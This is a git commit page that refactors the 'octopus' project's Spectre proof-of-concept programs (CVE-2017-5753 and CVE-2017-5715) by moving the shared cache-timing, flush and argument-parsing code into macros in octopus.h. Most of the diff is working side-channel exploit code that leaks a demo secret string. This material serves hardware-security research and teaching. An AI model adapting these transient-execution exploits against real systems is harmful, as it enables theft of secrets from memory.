Factorize OCTOPUS_ARGS, OCTOPUS_TIMINGS and OCTOPUS_NOCLFLUSH_INIT in macros defined in octopus.h
This commit is contained in:
parent
7134b712ed
commit
a8612b146a
59
octopus.h
59
octopus.h
@ -71,6 +71,65 @@
|
|||||||
}
|
}
|
||||||
#endif //NOCLFLUSH
|
#endif //NOCLFLUSH
|
||||||
|
|
||||||
|
#define GAP 512
|
||||||
|
|
||||||
|
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
||||||
|
unsigned int cache_hit_threshold, array1_size = 16;
|
||||||
|
uint8_t unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
|
||||||
|
uint8_t channel[256 * GAP]; // side channel to extract secret phrase
|
||||||
|
|
||||||
|
#define __OCTOPUS_ARGS__\
|
||||||
|
while ((o = getopt(argc, argv, "t:j")) != EOF) {\
|
||||||
|
switch (o) {\
|
||||||
|
case 't':\
|
||||||
|
cache_hit_threshold = atoi(optarg);\
|
||||||
|
break;\
|
||||||
|
case 'j':\
|
||||||
|
json++;\
|
||||||
|
break;\
|
||||||
|
default:\
|
||||||
|
usage:\
|
||||||
|
fprintf(stderr, "usage: %s [-j] "\
|
||||||
|
"[-t threshold]\n"\
|
||||||
|
"\t-j\t\tJSON output\n"\
|
||||||
|
"\t-t INT\t\tfixed threshold\n", argv[0]);\
|
||||||
|
return 1;\
|
||||||
|
}\
|
||||||
|
}\
|
||||||
|
if (argc != optind) {\
|
||||||
|
goto usage;\
|
||||||
|
}
|
||||||
|
|
||||||
|
#define __OCTOPUS_TIMINGS__\
|
||||||
|
/* Time reads. Order is lightly mixed up to prevent stride prediction */\
|
||||||
|
for (i = 0; i < 256; i++) {\
|
||||||
|
mix_i = ((i * 167) + 13) & 255;\
|
||||||
|
addr = & channel[mix_i * GAP];\
|
||||||
|
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {\
|
||||||
|
results[mix_i]++; /* cache hit - add +1 to score for this value */\
|
||||||
|
}\
|
||||||
|
}\
|
||||||
|
/* Locate highest results in j */\
|
||||||
|
j = -1;\
|
||||||
|
for (i = 0; i < 256; i++) {\
|
||||||
|
if (j < 0 || results[i] >= results[j]) {\
|
||||||
|
j = i;\
|
||||||
|
}\
|
||||||
|
}\
|
||||||
|
if (results[j] >= 3) {\
|
||||||
|
break;\
|
||||||
|
}
|
||||||
|
|
||||||
|
#define __OCTOPUS_NOCLFLUSH_INIT__\
|
||||||
|
int junk2 = 0;\
|
||||||
|
int l;\
|
||||||
|
(void)junk2;
|
||||||
|
|
||||||
|
#define __OCTOPUS_MFENCE__\
|
||||||
|
#ifndef NOMFENCE\
|
||||||
|
_mm_mfence();\
|
||||||
|
#endif
|
||||||
|
|
||||||
static inline unsigned
|
static inline unsigned
|
||||||
timed_access(volatile uint8_t *addr)
|
timed_access(volatile uint8_t *addr)
|
||||||
{
|
{
|
||||||
|
64
spectre_v1.c
64
spectre_v1.c
@ -21,9 +21,6 @@
|
|||||||
|
|
||||||
#include "octopus.h"
|
#include "octopus.h"
|
||||||
|
|
||||||
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
|
||||||
unsigned int cache_hit_threshold, array1_size = 16;
|
|
||||||
uint8_t unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
|
|
||||||
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
||||||
|
|
||||||
void
|
void
|
||||||
@ -44,7 +41,7 @@ victim_function(size_t x)
|
|||||||
x &= array_index_mask_nospec(x, array1_size);
|
x &= array_index_mask_nospec(x, array1_size);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
temp &= array2[array1[x] * 512];
|
temp &= channel[array1[x] * GAP];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -57,24 +54,24 @@ leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_thre
|
|||||||
volatile uint8_t* addr;
|
volatile uint8_t* addr;
|
||||||
|
|
||||||
#ifdef NOCLFLUSH
|
#ifdef NOCLFLUSH
|
||||||
int junk2 = 0;
|
__OCTOPUS_NOCLFLUSH_INIT__
|
||||||
int l;
|
|
||||||
(void)junk2;
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
for (i = 0; i < 256; i++) {
|
for (i = 0; i < 256; i++) {
|
||||||
results[i] = 0;
|
results[i] = 0;
|
||||||
}
|
}
|
||||||
for (tries = 999; tries > 0; tries--) {
|
for (tries = 999; tries > 0; tries--) {
|
||||||
#ifndef NOCLFLUSH
|
#ifndef NOCLFLUSH
|
||||||
/* Flush array2[256*(0..255)] from cache */
|
/* Flush channel[256*(0..255)] from cache */
|
||||||
for (i = 0; i < 256; i++)
|
for (i = 0; i < 256; i++) {
|
||||||
_mm_clflush(&array2[i * 512]);
|
_mm_clflush(&channel[i * GAP]);
|
||||||
|
}
|
||||||
#else
|
#else
|
||||||
/* Flush array2[256*(0..255)] from cache
|
/* Flush channel[256*(0..255)] from cache
|
||||||
using long SSE instruction several times */
|
using long SSE instruction several times */
|
||||||
for (j = 0; j < 16; j++) {
|
for (j = 0; j < 16; j++) {
|
||||||
for (i = 0; i < 256; i++) {
|
for (i = 0; i < 256; i++) {
|
||||||
flush_memory_sse(&array2[i * 512]);
|
flush_memory_sse(&channel[i * GAP]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
@ -101,22 +98,8 @@ leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_thre
|
|||||||
victim_function(x);
|
victim_function(x);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Time reads. Order is lightly mixed up to prevent stride prediction */
|
__OCTOPUS_TIMINGS__
|
||||||
for (i = 0; i < 256; i++) {
|
|
||||||
mix_i = ((i * 167) + 13) & 255;
|
|
||||||
addr = & array2[mix_i * 512];
|
|
||||||
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size])
|
|
||||||
results[mix_i]++; /* cache hit - add +1 to score for this value */
|
|
||||||
}
|
|
||||||
/* Locate highest results in j */
|
|
||||||
j = -1;
|
|
||||||
for (i = 0; i < 256; i++) {
|
|
||||||
if (j < 0 || results[i] >= results[j]) {
|
|
||||||
j = i;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (results[j] >= 3)
|
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
||||||
value[0] = (uint8_t) j;
|
value[0] = (uint8_t) j;
|
||||||
@ -130,26 +113,7 @@ main(int argc, char** argv)
|
|||||||
int i, o, score[2], len = (int)strlen(secret), json = 0, successes = 0;
|
int i, o, score[2], len = (int)strlen(secret), json = 0, successes = 0;
|
||||||
uint8_t value[2];
|
uint8_t value[2];
|
||||||
|
|
||||||
while ((o = getopt(argc, argv, "t:j")) != EOF) {
|
__OCTOPUS_ARGS__
|
||||||
switch (o) {
|
|
||||||
case 't':
|
|
||||||
cache_hit_threshold = atoi(optarg);
|
|
||||||
break;
|
|
||||||
case 'j':
|
|
||||||
json++;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
usage:
|
|
||||||
fprintf(stderr, "usage: %s [-j] "
|
|
||||||
"[-t threshold]\n"
|
|
||||||
"\t-j\t\tJSON output\n"
|
|
||||||
"\t-t INT\t\tfixed threshold\n", argv[0]);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (argc != optind) {
|
|
||||||
goto usage;
|
|
||||||
}
|
|
||||||
|
|
||||||
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret));
|
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret));
|
||||||
calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
|
calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
|
||||||
@ -158,8 +122,8 @@ main(int argc, char** argv)
|
|||||||
cache_flush_array[i] = 1;
|
cache_flush_array[i] = 1;
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
for (i = 0; i < (int)sizeof(array2); i++) {
|
for (i = 0; i < (int)sizeof(channel); i++) {
|
||||||
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
|
channel[i] = 1; /* write to channel so in RAM not copy-on-write zero pages */
|
||||||
}
|
}
|
||||||
while (--len >= 0) {
|
while (--len >= 0) {
|
||||||
leak(malicious_x++, value, score, cache_hit_threshold);
|
leak(malicious_x++, value, score, cache_hit_threshold);
|
||||||
|
54
spectre_v2.c
54
spectre_v2.c
@ -20,14 +20,7 @@
|
|||||||
|
|
||||||
#include "octopus.h"
|
#include "octopus.h"
|
||||||
|
|
||||||
#define GAP 1024
|
|
||||||
|
|
||||||
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
|
||||||
uint64_t* target; // pointer to indirect call target
|
uint64_t* target; // pointer to indirect call target
|
||||||
unsigned int cache_hit_threshold, array1_size = 16;
|
|
||||||
uint8_t unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
|
|
||||||
//uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
|
||||||
uint8_t channel[256 * GAP]; // side channel to extract secret phrase
|
|
||||||
|
|
||||||
// mistrained target of indirect call
|
// mistrained target of indirect call
|
||||||
int
|
int
|
||||||
@ -77,10 +70,9 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres
|
|||||||
unsigned int junk = 0;
|
unsigned int junk = 0;
|
||||||
volatile uint8_t* addr;
|
volatile uint8_t* addr;
|
||||||
char dummy = '@';
|
char dummy = '@';
|
||||||
|
|
||||||
#ifdef NOCLFLUSH
|
#ifdef NOCLFLUSH
|
||||||
int junk2 = 0;
|
__OCTOPUS_NOCLFLUSH_INIT__
|
||||||
int l;
|
|
||||||
(void)junk2;
|
|
||||||
#endif
|
#endif
|
||||||
for (i = 0; i < 256; i++) {
|
for (i = 0; i < 256; i++) {
|
||||||
results[i] = 0;
|
results[i] = 0;
|
||||||
@ -138,24 +130,9 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres
|
|||||||
#endif
|
#endif
|
||||||
// now, the value of *addr_to_read should be cached even though
|
// now, the value of *addr_to_read should be cached even though
|
||||||
// the logical execution path never calls gadget()
|
// the logical execution path never calls gadget()
|
||||||
/* Time reads. Order is lightly mixed up to prevent stride prediction */
|
|
||||||
for (i = 0; i < 256; i++) {
|
__OCTOPUS_TIMINGS__
|
||||||
mix_i = ((i * 167) + 13) & 255;
|
|
||||||
addr = & channel[mix_i * GAP];
|
|
||||||
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {
|
|
||||||
results[mix_i]++; /* cache hit - add +1 to score for this value */
|
|
||||||
}
|
|
||||||
}
|
|
||||||
/* Locate highest results in j */
|
|
||||||
j = -1;
|
|
||||||
for (i = 0; i < 256; i++) {
|
|
||||||
if (j < 0 || results[i] >= results[j]) {
|
|
||||||
j = i;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (results[j] >= 3) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
||||||
value[0] = (uint8_t) j;
|
value[0] = (uint8_t) j;
|
||||||
@ -169,26 +146,7 @@ main(int argc, char** argv)
|
|||||||
uint8_t value[2];
|
uint8_t value[2];
|
||||||
char* secret_addr = secret;
|
char* secret_addr = secret;
|
||||||
|
|
||||||
while ((o = getopt(argc, argv, "t:j")) != EOF) {
|
__OCTOPUS_ARGS__
|
||||||
switch (o) {
|
|
||||||
case 't':
|
|
||||||
cache_hit_threshold = atoi(optarg);
|
|
||||||
break;
|
|
||||||
case 'j':
|
|
||||||
json++;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
usage:
|
|
||||||
fprintf(stderr, "usage: %s [-j] "
|
|
||||||
"[-t threshold]\n"
|
|
||||||
"\t-j\t\tJSON output\n"
|
|
||||||
"\t-t INT\t\tfixed threshold\n", argv[0]);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (argc != optind) {
|
|
||||||
goto usage;
|
|
||||||
}
|
|
||||||
|
|
||||||
target = (uint64_t*)malloc(sizeof(uint64_t));
|
target = (uint64_t*)malloc(sizeof(uint64_t));
|
||||||
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len);
|
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len);
|
||||||
|
Loading…
Reference in New Issue
Block a user